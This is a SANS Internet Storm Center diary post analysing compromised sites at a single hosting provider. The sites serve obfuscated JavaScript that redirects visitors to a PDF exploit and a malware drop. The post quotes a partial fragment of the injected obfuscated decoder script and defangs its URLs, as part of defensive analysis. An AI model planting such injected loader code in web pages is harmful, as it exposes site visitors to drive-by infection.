Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: Hosted javascript leading to .cn PDF malware - SANS Internet Storm Center SANS ISC InfoSec Forums

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Hosted javascript leading to .cn PDF malware

Unfortunately such subject lines are all so common. However, lets work through this one together to show an excellent tool, and a common source.

Steve Burn over at submitted an investigation they had been running into a number of sites hosted by a single hosting provider being compromised and leading to malware. 

So, lets look at a few examples:

Firstly, just a simple proof that the exploit is still in place, lets look at :

hxxp:// ( - Whois : OrgName:    Lunar Pages)

If you simply curl, or wget, the home page of this site, you'll get 

function c32aee72b6q49ce6d11e3bbe(q49ce6d11e438d){ var q49ce6d11e4b6d=16; return 
(eval('pa'+'rseInt')(q49ce6d11e438d,q49ce6d11e4b6d));}function q49ce6d11e5afc(q4
9ce6d11e62cc){  var q49ce6d11e6ab5='';q49ce6d11e89dc=String['fromCharCode'];for(
q49ce6d11e7271=0;q49ce6d11e7271<q49ce6d11e62cc.length;q49ce6d11e7271+=2){ q49ce6
11e7271,2))));}return q49ce6d11e6ab5;} var vd1='';var q49ce6d11e91ab='3C7'+vd1+'

At the ISC, we're talked a number of times of methods to decode such java script, from TEXT AREA manipulation in the good old days, through to tools such as Malzilla to aide our analysis. However both our intrepid reader, any myself like to use Wepawet

Analysis with this couldnt be easier, enter the URL, click, and wait for the response. So lets see what Wepawet shows for this web site.

If you follow through the analysis provided by wepawet, you'll see that it bounces through 

Google safe browsing also highlights that this domain is (or has been) hostile:


Has this site hosted malware?

Yes, this site has hosted malicious software over the past 90 days. It infected 10 domain(s), including,

So, following the malware trail results in this hxxp:// redirecting to this hxxp://

Finally a PDF exploit is attempted, and a piece of malware is dropped on to the unsuspecting system, details as always from VirusTotal shows very little AV Coverage.

Now all this isn't very unusual, and having a large number of compromised hosts isn't either. What is interesting here is that a single provider is hosting these compromised pages.

Steve's investigations came to an end when the hosting provider commented that:

"So far, all I've received is a form-letter stating it wasn't a compromise of their servers, but hackers going round finding exploitable scripts written by their customers"

Now this may be the case, as there does appear to be some level of commonality between the sites. However, surely a duty of care exists here in that the hosting provider is unwittingly hosting drive by malware which is resulting in very low AV infections.


Steve Hall

ISC Handler




89 Posts
ISC Handler

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